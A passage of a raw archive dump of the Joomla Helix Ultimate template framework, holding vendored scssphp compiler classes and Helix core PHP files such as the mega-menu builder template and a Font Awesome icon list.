                return $part;
            }
        }

        return '';
    }

    protected static $libSimpleSelectors = ['selector'];
    protected function libSimpleSelectors($args)
    {
        $selector = reset($args);
        $selector = $this->getSelectorArg($selector, 'selector');

        // remove selectors list layer, keeping the first one
        $selector = reset($selector);

        // remove parts list layer, keeping the first part
        $part = reset($selector);

        $listParts = [];

        foreach ($part as $p) {
            $listParts[] = [Type::T_STRING, '', [$p]];
        }

        return [Type::T_LIST, ',', $listParts];
    }

    protected static $libScssphpGlob = ['pattern'];
    protected function libScssphpGlob($args)
    {
        @trigger_error(sprintf('The "scssphp-glob" function is deprecated an will be removed in ScssPhp 2.0. Register your own alternative through "%s::registerFunction', __CLASS__), E_USER_DEPRECATED);

        $this->logger->warn('The "scssphp-glob" function is deprecated an will be removed in ScssPhp 2.0.', true);

        $string = $this->assertString($args[0], 'pattern');
        $pattern = $this->compileStringContent($string);
        $matches = glob($pattern);
        $listParts = [];

        foreach ($matches as $match) {
            if (! is_file($match)) {
                continue;
            }

            $listParts[] = [Type::T_STRING, '"', [$match]];
        }

        return [Type::T_LIST, ',', $listParts];
    }
}
PK!�}�@mm6helixultimate/vendor/scssphp/scssphp/src/Util/Path.phpnu&1i�<?php

namespace ScssPhp\ScssPhp\Util;

/**
 * @internal
 */
class Path
{
    /**
     * @param string $path
     *
     * @return bool
     */
    public static function isAbsolute($path)
    {
        if ($path === '') {
            return false;
        }

        if ($path[0] === '/') {
            return true;
        }

        if (\DIRECTORY_SEPARATOR !== '\\') {
            return false;
        }

        if ($path[0] === '\\') {
            return true;
        }

        if (\strlen($path) < 3) {
            return false;
        }

        if ($path[1] !== ':') {
            return false;
        }

        if ($path[2] !== '/' && $path[2] !== '\\') {
            return false;
        }

        if (!preg_match('/^[A-Za-z]$/', $path[0])) {
            return false;
        }

        return true;
    }

    /**
     * @param string $part1
     * @param string $part2
     *
     * @return string
     */
    public static function join($part1, $part2)
    {
        if ($part1 === '' || self::isAbsolute($part2)) {
            return $part2;
        }

        if ($part2 === '') {
            return $part1;
        }

        $last = $part1[\strlen($part1) - 1];
        $separator = \DIRECTORY_SEPARATOR;

        if ($last === '/' || $last === \DIRECTORY_SEPARATOR) {
            $separator = '';
        }

        return $part1 . $separator . $part2;
    }
}
PK!k��##1helixultimate/vendor/scssphp/scssphp/src/Node.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

/**
 * Base node
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
abstract class Node
{
    /**
     * @var string
     */
    public $type;

    /**
     * @var integer
     */
    public $sourceIndex;

    /**
     * @var int|null
     */
    public $sourceLine;

    /**
     * @var int|null
     */
    public $sourceColumn;
}
PK!	��m��1helixultimate/vendor/scssphp/scssphp/src/Type.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

/**
 * Block/node types
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 */
class Type
{
    const T_ASSIGN = 'assign';
    const T_AT_ROOT = 'at-root';
    const T_BLOCK = 'block';
    /** @deprecated */
    const T_BREAK = 'break';
    const T_CHARSET = 'charset';
    const T_COLOR = 'color';
    const T_COMMENT = 'comment';
    /** @deprecated */
    const T_CONTINUE = 'continue';
    /** @deprecated */
    const T_CONTROL = 'control';
    const T_CUSTOM_PROPERTY = 'custom';
    const T_DEBUG = 'debug';
    const T_DIRECTIVE = 'directive';
    const T_EACH = 'each';
    const T_ELSE = 'else';
    const T_ELSEIF = 'elseif';
    const T_ERROR = 'error';
    const T_EXPRESSION = 'exp';
    const T_EXTEND = 'extend';
    const T_FOR = 'for';
    const T_FUNCTION = 'function';
    const T_FUNCTION_REFERENCE = 'function-reference';
    const T_FUNCTION_CALL = 'fncall';
    const T_HSL = 'hsl';
    const T_HWB = 'hwb';
    const T_IF = 'if';
    const T_IMPORT = 'import';
    const T_INCLUDE = 'include';
    const T_INTERPOLATE = 'interpolate';
    const T_INTERPOLATED = 'interpolated';
    const T_KEYWORD = 'keyword';
    const T_LIST = 'list';
    const T_MAP = 'map';
    const T_MEDIA = 'media';
    const T_MEDIA_EXPRESSION = 'mediaExp';
    const T_MEDIA_TYPE = 'mediaType';
    const T_MEDIA_VALUE = 'mediaValue';
    const T_MIXIN = 'mixin';
    const T_MIXIN_CONTENT = 'mixin_content';
    const T_NESTED_PROPERTY = 'nestedprop';
    const T_NOT = 'not';
    const T_NULL = 'null';
    const T_NUMBER = 'number';
    const T_RETURN = 'return';
    const T_ROOT = 'root';
    const T_SCSSPHP_IMPORT_ONCE = 'scssphp-import-once';
    const T_SELF = 'self';
    const T_STRING = 'string';
    const T_UNARY = 'unary';
    const T_VARIABLE = 'var';
    const T_WARN = 'warn';
    const T_WHILE = 'while';
}
PK!%�C551helixultimate/vendor/scssphp/scssphp/scss.inc.phpnu&1i�<?php

if (version_compare(PHP_VERSION, '5.6') < 0) {
    throw new \Exception('scssphp requires PHP 5.6 or above');
}

if (! class_exists('ScssPhp\ScssPhp\Version')) {
    spl_autoload_register(function ($class) {
        if (0 !== strpos($class, 'ScssPhp\ScssPhp\\')) {
            // Not a ScssPhp class
            return;
        }

        $subClass = substr($class, strlen('ScssPhp\ScssPhp\\'));
        $path = __DIR__ . '/src/' . str_replace('\\', '/', $subClass) . '.php';

        if (file_exists($path)) {
            require $path;
        }
    });
}
PK!-v%BB$helixultimate/core/helixultimate.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die('Restricted Access');

use HelixUltimate\Framework\Core\HelixUltimate as BaseHelixUltimate;
use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Log\Log;

/**
 * Extends the Helix Ultimate for legacy support.
 *
 * @since		2.0.0
 * @deprecated 	3.0		Instead of using HelixUltimate from helixultimate/core/helixultimate.php
 * 						Use from HelixUltimate\Framework\Core\HelixUltimate namespace.
 */
class HelixUltimate extends BaseHelixUltimate
{
	/**
	 * Constructor function for the legacy helixultimate.
	 *
	 * @since	2.0.0
	 */
	public function __construct()
	{
		Log::add(
			sprintf('/plugins/system/helixultimate/core/%s is deprecated. Use from the namespace HelixUltimate\Framework\Core\HelixUltimate instead.', __CLASS__),
			Log::WARNING,
			'deprecated'
		);

		parent::__construct();
		Helper::flushSettingsDataToJs();
	}
}PK!�O�y helixultimate/core/lib/fonts.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('Restricted access');

$systemFonts = array(
	'Arial' => array(
		'weights' => array(
			'regular',
			'italic',
			'bold',
			'bold italic'
		),
	),
	'Tahoma',
	'Verdana',
	'Helvetica',
	'Times New Roman',
	'Trebuchet MS',
	'Georgia'
);
PK!�e�#�#*helixultimate/core/lib/helixmenuhelper.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Language\Text;
use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;

$current_menu_id = $this->form->getValue('id');
$JMenuSite = new \JMenuSite;
$module_list = $this->getModuleNameById();

$fontawesome = new FontawesomeIcons;

$mega_align = array(
	'left' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
	'center' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_CENTER'),
	'right' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT'),
	'full' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_FULL'),
);

$dropdown_list = array(
	'left' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
	'right' => Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT')
);

$menu_width = 600;
$align = 'right';
$layout = array();
$enable_megamenu = 0;
$show_title = 1;
$custom_class = '';
$faicon = '';
$dropdown = 'right';
$badge = '';
$badge_position = '';
$badge_bg_color = '';
$badge_text_color = '';
$display_class = '';
$dropdown_class = '';
$unique_menu_item_count = 0;

if (isset($menu_data->megamenu))
{
	 $enable_megamenu = $menu_data->megamenu;
}

if (isset($menu_data->width))
{
	 $menu_width = $menu_data->width;
}

if (isset($menu_data->menualign))
{
	 $align = $menu_data->menualign;
}

if (isset($menu_data->layout))
{
	 $layout = $menu_data->layout;
}

if (isset($menu_data->showtitle))
{
	 $show_title = $menu_data->showtitle;
}

if (isset($menu_data->customclass))
{
	 $custom_class = $menu_data->customclass;
}

if (isset($menu_data->faicon) && $menu_data->faicon)
{
	 $faicon = $menu_data->faicon;
}

if (isset($menu_data->dropdown))
{
	 $dropdown = $menu_data->dropdown;
}

if (isset($menu_data->badge))
{
	 $badge = $menu_data->badge;
}

if (isset($menu_data->badge_position))
{
	 $badge_position = $menu_data->badge_position;
}

if (isset($menu_data->badge_bg_color))
{
	 $badge_bg_color = $menu_data->badge_bg_color;
}

if (isset($menu_data->badge_text_color))
{
	 $badge_text_color = $menu_data->badge_text_color;
}


if (!$enable_megamenu)
{
	$display_class = ' hide-menu-builder';
}
else
{
	$dropdown_class = ' hide-menu-builder';
}

$custom_class_label = Text::_('HELIX_ULTIMATE_MENU_CUSTOM_CLASS');

$badge_label = Text::_('HELIX_ULTIMATE_MENU_BADGE_TEXT');

$unique_menu_items = $this->uniqueMenuItems($current_menu_id, $layout);

if ($unique_menu_items)
{
	$unique_menu_item_count = count($unique_menu_items);
}
?>

	<div class="hu-row">
	<div class="hu-col-sm-9">
		
		<div class="hu-megamenu-wrap">

			<div class="hu-megamenu-actions">
				<?php
				if ((int) $menu_item->parent_id === 1)
				{
					echo $this->switchFieldHTML('toggler', Text::_('HELIX_ULTIMATE_MENU_ENABLED'), $enable_megamenu);
					echo $this->textFieldHTML('width', Text::_('HELIX_ULTIMATE_MENU_SUB_WIDTH'), 400, $menu_width, 'number', $display_class);
					echo $this->selectFieldHTML('alignment', Text::_('HELIX_ULTIMATE_MENU_SUB_ALIGNMENT'), $mega_align, $align, $display_class);
				}

				echo $this->switchFieldHTML('title-toggler', Text::_('HELIX_ULTIMATE_MENU_SHOW_TITLE'), $show_title);

				echo $this->selectFieldHTML('dropdown', 'Dropdown Position', $dropdown_list, $dropdown, $dropdown_class);

				echo $this->selectFieldHTML('fa-icon', Text::_('HELIX_ULTIMATE_MENU_ICON'), $fontawesome->getIcons(), $faicon);

				echo $this->textFieldHTML('custom-class', $custom_class_label, '', $custom_class);

				echo $this->textFieldHTML('menu-badge', $badge_label, '', $badge);

				echo $this->selectFieldHTML('badge-position', 'Badge Position', $dropdown_list, $badge_position);

				echo $this->colorFieldHTML('bg-color', 'Background Color', '#333333', $badge_bg_color);

				echo $this->colorFieldHTML('text-color', 'Text Color', '#ffffff', $badge_text_color);
				?>
			</div>

			<div id="hu-megamenu-layout" class="hu-megamenu-layout hu-megamenu-field-control<?php echo ($enable_megamenu != 1)?' hide-menu-builder':''?>" data-megamenu="<?php echo $enable_megamenu; ?>" data-width="<?php echo $menu_width; ?>" data-menualign="<?php echo $align; ?>" data-dropdown="<?php echo $dropdown; ?>" data-showtitle="<?php echo $show_title; ?>" data-customclass="<?php echo $custom_class; ?>" data-faicon="<?php echo $faicon; ?>" data-dropdown="<?php echo $dropdown; ?>" data-badge="<?php echo $badge; ?>" data-badge_position="<?php echo $badge_position; ?>" data-badge_bg_color="<?php echo $badge_bg_color; ?>" data-badge_text_color="<?php echo $badge_text_color; ?>">
				
				<?php if ($layout) { $col_number = 0; ?>
					<?php foreach ($layout as $key => $row) { ?>
						<div class="hu-megamenu-row">
							<div class="hu-megamenu-row-actions clearfix">
								<div class="hu-action-move-row"> <span class="fas fa-sort" aria-hidden="true"></span> Row</div>
								<a href="#" class="hu-action-detele-row"><span class="fas fa-trash" aria-hidden="true"></span></a>
							</div>

							<div class="hu-row">

								<?php if (! empty($row->attr) ) { ?>
									<?php foreach ($row->attr as $col_key => $col) { ?>

										<div class="hu-megmenu-col hu-col-sm-<?php echo $col->colGrid; ?>" data-grid="<?php echo $col->colGrid; ?>">
											<div class="hu-megamenu-column">

												<div class="hu-megamenu-column-actions">
													<span class="hu-action-move-column"><span class="fas fa-arrows-alt" aria-hidden="true"></span> Column</span>
												</div>

												<?php
													$col_list = '<div class="hu-megamenu-item-list">';
													if ( isset($col->items) && count($col->items))
													{
														foreach ($col->items as $item)
														{
															if ($item->type === 'module')
															{
																$modules = $this->getModuleNameById($item->item_id);
																$title = $modules->title . '<a href="javascript:;" class="hu-megamenu-remove-module"><span class="fas fa-times" aria-hidden="true"></span></a>';
															}
															elseif ($item->type === 'menu_item')
															{
																$title = $JMenuSite->getItem($item->item_id)->title;
															}

															$col_list .= '<div class="hu-megamenu-item" data-mod_id="'. $item->item_id .'" data-type="'. $item->type .'">';
															$col_list .= '<div class="hu-megamenu-item-module">';
															$col_list .= '<div class="hu-megamenu-item-module-title">' . $title . '</div>';
															$col_list .= '</div>';
															$col_list .= '</div>';
														}
													}

													if ($unique_menu_item_count && (int) $col_number === 0)
													{
														$col_number++;

														foreach ($unique_menu_items as $key => $item_id)
														{
															$col_list .= '<div class="hu-megamenu-item" data-mod_id="' . $item_id .'" data-type="menu_item">';
															$col_list .= '<div class="hu-megamenu-item-module">';
															$col_list .= '<div class="hu-megamenu-item-module-title">' . $JMenuSite->getItem($item_id)->title .'</div>';
															$col_list .= '</div>';
															$col_list .= '</div>';
														}
													}

													$col_list .= '</div>';
													echo $col_list;
												?>

											</div>
										</div>

									<?php } ?>
								<?php } ?>

							</div>
						</div>

					<?php } ?>
				<?php } ?>

			</div>

		</div>

		<div class="hu-megamenu-add-row hu-megamenu-field-control clearfix<?php echo ($enable_megamenu != 1)?' hide-menu-builder':''?>">
			<button id="hu-choose-megamenu-layout" class="hu-choose-megamenu-layout"><span class="fas fa-plus-circle" aria-hidden="true"></span> Add New Row</button>
			<div class="hu-megamenu-modal" id="hu-megamenu-layout-modal" style="display: none;" >
				<div class="hu-row">

				<?php foreach ($this->row_layouts as $row_layout) { $col_grids = explode('+', $row_layout); ?>
					<div class="hu-col-sm-4">
						<div class="hu-megamenu-grids" data-layout="<?php echo $row_layout; ?>">
							<div class="hu-row">

								<?php foreach ($col_grids as $col_grid) { ?>
									<div class="hu-col-sm-<?php echo $col_grid; ?>"><div><?php echo $col_grid; ?></div></div>
								<?php } ?>

							</div>
						</div>
					</div>

				<?php } ?>

				</div>
			</div>
		</div> <!-- End of Row Layout Structure -->

	</div>

	<?php if ((int) $menu_item->parent_id === 1 && $module_list) : ?>
		<div class="hu-col-sm-3">
			<div class="hu-megamenu-sidebar <?php echo ($enable_megamenu != 1) ? ' hide-menu-builder' : ''; ?>">
				<h3><span class="fas fa-bars" aria-hidden="true"></span> <?php echo Text::_('HELIX_ULTIMATE_MENU_MODULE_LIST'); ?></h3>
				<div class="hu-megamenu-module-list">
					<?php foreach ($module_list as $module) : ?>
						<div class="hu-megamenu-draggable-module" data-mod_id="<?php echo $module->id; ?>" data-type="module"><span class="fas fa-arrows-alt" aria-hidden="true"></span> <?php echo $module->title; ?></div>
					<?php endforeach; ?>
				</div>
			</div>
		</div> <!-- End of Module List -->
		<?php endif; ?>

	</div>
PK!���99 helixultimate/core/lib/icons.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('restricted aceess');

/**
 * Class for font-awesome icons.
 *
 * @since	2.0.0
 */
class FontawesomeIcons
{
	/**
	 * Font awesome icon class names.
	 *
	 * @var		array	Font-awesome class names.
	 * @since	2.0.0
	 */
	private $fa_class_lists = array(
		'fa-500px',
		'fa-adjust',
		'fa-adn',
		'fa-align-center',
		'fa-align-justify',
		'fa-align-left',
		'fa-align-right',
		'fa-amazon',
		'fa-ambulance',
		'fa-anchor',
		'fa-android',
		'fa-angellist',
		'fa-angle-double-down',
		'fa-angle-double-left',
		'fa-angle-double-right',
		'fa-angle-double-up',
		'fa-angle-down',
		'fa-angle-left',
		'fa-angle-right',
		'fa-angle-up',
		'fa-apple',
		'fa-archive',
		'fa-area-chart',
		'fa-arrow-circle-down',
		'fa-arrow-circle-left',
		'fa-arrow-circle-o-down',
		'fa-arrow-circle-o-left',
		'fa-arrow-circle-o-right',
		'fa-arrow-circle-o-up',
		'fa-arrow-circle-right',
		'fa-arrow-circle-up',
		'fa-arrow-down',
		'fa-arrow-left',
		'fa-arrow-right',
		'fa-arrow-up',
		'fa-arrows',
		'fa-arrows-alt',
		'fa-arrows-h',
		'fa-arrows-v',
		'fa-asterisk',
		'fa-at',
		'fa-automobile',
		'fa-backward',
		'fa-balance-scale',
		'fa-ban',
		'fa-bank',
		'fa-bar-chart',
		'fa-bar-chart-o',
		'fa-barcode',
		'fa-bars',
		'fa-battery-0',
		'fa-battery-1',
		'fa-battery-2',
		'fa-battery-3',
		'fa-battery-4',
		'fa-battery-empty',
		'fa-battery-full',
		'fa-battery-half',
		'fa-battery-quarter',
		'fa-battery-three-quarters',
		'fa-bed',
		'fa-beer',
		'fa-behance',
		'fa-behance-square',
		'fa-bell',
		'fa-bell-o',
		'fa-bell-slash',
		'fa-bell-slash-o',
		'fa-bicycle',
		'fa-binoculars',
		'fa-birthday-cake',
		'fa-bitbucket',
		'fa-bitbucket-square',
		'fa-bitcoin',
		'fa-black-tie',
		'fa-bluetooth',
		'fa-bluetooth-b',
		'fa-bold',
		'fa-bolt',
		'fa-bomb',
		'fa-book',
		'fa-bookmark',
		'fa-bookmark-o',
		'fa-briefcase',
		'fa-btc',
		'fa-bug',
		'fa-building',
		'fa-building-o',
		'fa-bullhorn',
		'fa-bullseye',
		'fa-bus',
		'fa-buysellads',
		'fa-cab',
		'fa-calculator',
		'fa-calendar',
		'fa-calendar-check-o',
		'fa-calendar-minus-o',
		'fa-calendar-o',
		'fa-calendar-plus-o',
		'fa-calendar-times-o',
		'fa-camera',
		'fa-camera-retro',
		'fa-car',
		'fa-caret-down',
		'fa-caret-left',
		'fa-caret-right',
		'fa-caret-square-o-down',
		'fa-caret-square-o-left',
		'fa-caret-square-o-right',
		'fa-caret-square-o-up',
		'fa-caret-up',
		'fa-cart-arrow-down',
		'fa-cart-plus',
		'fa-cc',
		'fa-cc-amex',
		'fa-cc-diners-club',
		'fa-cc-discover',
		'fa-cc-jcb',
		'fa-cc-mastercard',
		'fa-cc-paypal',
		'fa-cc-stripe',
		'fa-cc-visa',
		'fa-certificate',
		'fa-chain',
		'fa-chain-broken',
		'fa-check',
		'fa-check-circle',
		'fa-check-circle-o',
		'fa-check-square',
		'fa-check-square-o',
		'fa-chevron-circle-down',
		'fa-chevron-circle-left',
		'fa-chevron-circle-right',
		'fa-chevron-circle-up',
		'fa-chevron-down',
		'fa-chevron-left',
		'fa-chevron-right',
		'fa-chevron-up',
		'fa-child',
		'fa-chrome',
		'fa-circle',
		'fa-circle-o',
		'fa-circle-o-notch',
		'fa-circle-thin',
		'fa-clipboard',
		'fa-clock-o',
		'fa-clone',
		'fa-close',
		'fa-cloud',
		'fa-cloud-download',
		'fa-cloud-upload',
		'fa-cny',
		'fa-code',
		'fa-code-fork',
		'fa-codepen',
		'fa-codiepie',
		'fa-coffee',
		'fa-cog',
		'fa-cogs',
		'fa-columns',
		'fa-comment',
		'fa-comment-o',
		'fa-commenting',
		'fa-commenting-o',
		'fa-comments',
		'fa-comments-o',
		'fa-compass',
		'fa-compress',
		'fa-connectdevelop',
		'fa-contao',
		'fa-copy',
		'fa-copyright',
		'fa-creative-commons',
		'fa-credit-card',
		'fa-credit-card-alt',
		'fa-crop',
		'fa-crosshairs',
		'fa-css3',
		'fa-cube',
		'fa-cubes',
		'fa-cut',
		'fa-cutlery',
		'fa-dashboard',
		'fa-dashcube',
		'fa-database',
		'fa-dedent',
		'fa-delicious',
		'fa-desktop',
		'fa-deviantart',
		'fa-diamond',
		'fa-digg',
		'fa-dollar',
		'fa-dot-circle-o',
		'fa-download',
		'fa-dribbble',
		'fa-dropbox',
		'fa-drupal',
		'fa-edge',
		'fa-edit',
		'fa-eject',
		'fa-ellipsis-h',
		'fa-ellipsis-v',
		'fa-empire',
		'fa-envelope',
		'fa-envelope-o',
		'fa-envelope-square',
		'fa-eraser',
		'fa-eur',
		'fa-euro',
		'fa-exchange',
		'fa-exclamation',
		'fa-exclamation-circle',
		'fa-exclamation-triangle',
		'fa-expand',
		'fa-expeditedssl',
		'fa-external-link',
		'fa-external-link-square',
		'fa-eye',
		'fa-eye-slash',
		'fa-eyedropper',
		'fa-facebook',
		'fa-facebook-f',
		'fa-facebook-official',
		'fa-facebook-square',
		'fa-fast-backward',
		'fa-fast-forward',
		'fa-fax',
		'fa-feed',
		'fa-female',
		'fa-fighter-jet',
		'fa-file',
		'fa-file-archive-o',
		'fa-file-audio-o',
		'fa-file-code-o',
		'fa-file-excel-o',
		'fa-file-image-o',
		'fa-file-movie-o',
		'fa-file-o',
		'fa-file-pdf-o',
		'fa-file-photo-o',
		'fa-file-picture-o',
		'fa-file-powerpoint-o',
		'fa-file-sound-o',
		'fa-file-text',
		'fa-file-text-o',
		'fa-file-video-o',
		'fa-file-word-o',
		'fa-file-zip-o',
		'fa-files-o',
		'fa-film',
		'fa-filter',
		'fa-fire',
		'fa-fire-extinguisher',
		'fa-firefox',
		'fa-flag',
		'fa-flag-checkered',
		'fa-flag-o',
		'fa-flash',
		'fa-flask',
		'fa-flickr',
		'fa-floppy-o',
		'fa-folder',
		'fa-folder-o',
		'fa-folder-open',
		'fa-folder-open-o',
		'fa-font',
		'fa-fonticons',
		'fa-fort-awesome',
		'fa-forumbee',
		'fa-forward',
		'fa-foursquare',
		'fa-frown-o',
		'fa-futbol-o',
		'fa-gamepad',
		'fa-gavel',
		'fa-gbp',
		'fa-ge',
		'fa-gear',
		'fa-gears',
		'fa-genderless',
		'fa-get-pocket',
		'fa-gg',
		'fa-gg-circle',
		'fa-gift',
		'fa-git',
		'fa-git-square',
		'fa-github',
		'fa-github-alt',
		'fa-github-square',
		'fa-gittip',
		'fa-glass',
		'fa-globe',
		'fa-google',
		'fa-google-plus',
		'fa-google-plus-square',
		'fa-google-wallet',
		'fa-graduation-cap',
		'fa-gratipay',
		'fa-group',
		'fa-h-square',
		'fa-hacker-news',
		'fa-hand-grab-o',
		'fa-hand-lizard-o',
		'fa-hand-o-down',
		'fa-hand-o-left',
		'fa-hand-o-right',
		'fa-hand-o-up',
		'fa-hand-paper-o',
		'fa-hand-peace-o',
		'fa-hand-pointer-o',
		'fa-hand-rock-o',
		'fa-hand-scissors-o',
		'fa-hand-spock-o',
		'fa-hand-stop-o',
		'fa-hashtag',
		'fa-hdd-o',
		'fa-header',
		'fa-headphones',
		'fa-heart',
		'fa-heart-o',
		'fa-heartbeat',
		'fa-history',
		'fa-home',
		'fa-hospital-o',
		'fa-hotel',
		'fa-hourglass',
		'fa-hourglass-1',
		'fa-hourglass-2',
		'fa-hourglass-3',
		'fa-hourglass-end',
		'fa-hourglass-half',
		'fa-hourglass-o',
		'fa-hourglass-start',
		'fa-houzz',
		'fa-html5',
		'fa-i-cursor',
		'fa-ils',
		'fa-image',
		'fa-inbox',
		'fa-indent',
		'fa-industry',
		'fa-info',
		'fa-info-circle',
		'fa-inr',
		'fa-instagram',
		'fa-institution',
		'fa-internet-explorer',
		'fa-intersex',
		'fa-ioxhost',
		'fa-italic',
		'fa-joomla',
		'fa-jpy',
		'fa-jsfiddle',
		'fa-key',
		'fa-keyboard-o',
		'fa-krw',
		'fa-language',
		'fa-laptop',
		'fa-lastfm',
		'fa-lastfm-square',
		'fa-leaf',
		'fa-leanpub',
		'fa-legal',
		'fa-lemon-o',
		'fa-level-down',
		'fa-level-up',
		'fa-life-bouy',
		'fa-life-buoy',
		'fa-life-ring',
		'fa-life-saver',
		'fa-lightbulb-o',
		'fa-line-chart',
		'fa-link',
		'fa-linkedin',
		'fa-linkedin-square',
		'fa-linux',
		'fa-list',
		'fa-list-alt',
		'fa-list-ol',
		'fa-list-ul',
		'fa-location-arrow',
		'fa-lock',
		'fa-long-arrow-down',
		'fa-long-arrow-left',
		'fa-long-arrow-right',
		'fa-long-arrow-up',
		'fa-magic',
		'fa-magnet',
		'fa-mail-forward',
		'fa-mail-reply',
		'fa-mail-reply-all',
		'fa-male',
		'fa-map',
		'fa-map-marker',
		'fa-map-o',
		'fa-map-pin',
		'fa-map-signs',
		'fa-mars',
		'fa-mars-double',
		'fa-mars-stroke',
		'fa-mars-stroke-h',
		'fa-mars-stroke-v',
		'fa-maxcdn',
		'fa-meanpath',
		'fa-medium',
		'fa-medkit',
		'fa-meh-o',
		'fa-mercury',
		'fa-microphone',
		'fa-microphone-slash',
		'fa-minus',
		'fa-minus-circle',
		'fa-minus-square',
		'fa-minus-square-o',
		'fa-mixcloud',
		'fa-mobile',
		'fa-mobile-phone',
		'fa-modx',
		'fa-money',
		'fa-moon-o',
		'fa-mortar-board',
		'fa-motorcycle',
		'fa-mouse-pointer',
		'fa-music',
		'fa-navicon',
		'fa-neuter',
		'fa-newspaper-o',
		'fa-object-group',
		'fa-object-ungroup',
		'fa-odnoklassniki',
		'fa-odnoklassniki-square',
		'fa-opencart',
		'fa-openid',
		'fa-opera',
		'fa-optin-monster',
		'fa-outdent',
		'fa-pagelines',
		'fa-paint-brush',
		'fa-paper-plane',
		'fa-paper-plane-o',
		'fa-paperclip',
		'fa-paragraph',
		'fa-paste',
		'fa-pause',
		'fa-pause-circle',
		'fa-pause-circle-o',
		'fa-paw',
		'fa-paypal',
		'fa-pencil',
		'fa-pencil-square',
		'fa-pencil-square-o',
		'fa-percent',
		'fa-phone',
		'fa-phone-square',
		'fa-photo',
		'fa-picture-o',
		'fa-pie-chart',
		'fa-pied-piper',
		'fa-pied-piper-alt',
		'fa-pinterest',
		'fa-pinterest-p',
		'fa-pinterest-square',
		'fa-plane',
		'fa-play',
		'fa-play-circle',
		'fa-play-circle-o',
		'fa-plug',
		'fa-plus',
		'fa-plus-circle',
		'fa-plus-square',
		'fa-plus-square-o',
		'fa-power-off',
		'fa-print',
		'fa-product-hunt',
		'fa-puzzle-piece',
		'fa-qq',
		'fa-qrcode',
		'fa-question',
		'fa-question-circle',
		'fa-quote-left',
		'fa-quote-right',
		'fa-ra',
		'fa-random',
		'fa-rebel',
		'fa-recycle',
		'fa-reddit',
		'fa-reddit-alien',
		'fa-reddit-square',
		'fa-refresh',
		'fa-registered',
		'fa-remove',
		'fa-renren',
		'fa-reorder',
		'fa-repeat',
		'fa-reply',
		'fa-reply-all',
		'fa-retweet',
		'fa-rmb',
		'fa-road',
		'fa-rocket',
		'fa-rotate-left',
		'fa-rotate-right',
		'fa-rouble',
		'fa-rss',
		'fa-rss-square',
		'fa-rub',
		'fa-ruble',
		'fa-rupee',
		'fa-safari',
		'fa-save',
		'fa-scissors',
		'fa-scribd',
		'fa-search',
		'fa-search-minus',
		'fa-search-plus',
		'fa-sellsy',
		'fa-send',
		'fa-send-o',
		'fa-server',
		'fa-share',
		'fa-share-alt',
		'fa-share-alt-square',
		'fa-share-square',
		'fa-share-square-o',
		'fa-shekel',
		'fa-sheqel',
		'fa-shield',
		'fa-ship',
		'fa-shirtsinbulk',
		'fa-shopping-bag',
		'fa-shopping-basket',
		'fa-shopping-cart',
		'fa-sign-in',
		'fa-sign-out',
		'fa-signal',
		'fa-simplybuilt',
		'fa-sitemap',
		'fa-skyatlas',
		'fa-skype',
		'fa-slack',
		'fa-sliders-h',
		'fa-slideshare',
		'fa-smile-o',
		'fa-soccer-ball-o',
		'fa-sort',
		'fa-sort-alpha-asc',
		'fa-sort-alpha-desc',
		'fa-sort-amount-asc',
		'fa-sort-amount-desc',
		'fa-sort-asc',
		'fa-sort-desc',
		'fa-sort-down',
		'fa-sort-numeric-asc',
		'fa-sort-numeric-desc',
		'fa-sort-up',
		'fa-soundcloud',
		'fa-space-shuttle',
		'fa-spinner',
		'fa-spoon',
		'fa-spotify',
		'fa-square',
		'fa-square-o',
		'fa-stack-exchange',
		'fa-stack-overflow',
		'fa-star',
		'fa-star-half',
		'fa-star-half-empty',
		'fa-star-half-full',
		'fa-star-half-o',
		'fa-star-o',
		'fa-steam',
		'fa-steam-square',
		'fa-step-backward',
		'fa-step-forward',
		'fa-stethoscope',
		'fa-sticky-note',
		'fa-sticky-note-o',
		'fa-stop',
		'fa-stop-circle',
		'fa-stop-circle-o',
		'fa-street-view',
		'fa-strikethrough',
		'fa-stumbleupon',
		'fa-stumbleupon-circle',
		'fa-subscript',
		'fa-subway',
		'fa-suitcase',
		'fa-sun-o',
		'fa-superscript',
		'fa-support',
		'fa-table',
		'fa-tablet',
		'fa-tachometer',
		'fa-tag',
		'fa-tags',
		'fa-tasks',
		'fa-taxi',
		'fa-television',
		'fa-tencent-weibo',
